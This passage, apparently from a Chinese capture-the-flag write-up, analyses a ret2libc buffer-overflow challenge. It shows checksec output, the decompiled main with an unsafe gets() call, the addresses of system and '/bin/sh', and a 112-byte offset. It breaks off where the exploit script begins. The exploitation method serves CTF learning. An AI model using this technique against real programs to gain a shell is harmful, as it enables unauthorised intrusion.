文件下载地址: 链接: https://pan.baidu.com/s/1DN4q7Dl5J45rIysA0DvZ5A 提取码:0wn8 0x01.分析 checksec: Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 32位程序,仅开启栈不可执行。 查看源码: int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; } 存在gets,开始接下来的寻找: 发现存在system和/bin/sh。查看/bin/sh: 找到地址: 0x08048720 继续查看函数,发现: 点进去,得到地址: 地址为: 0x08048460 由pateern的offset的确定偏移量:112。 思路是控制程序返回到system的地址,然后调用/bin/sh。 0x02.exp ##!/uer/bin/env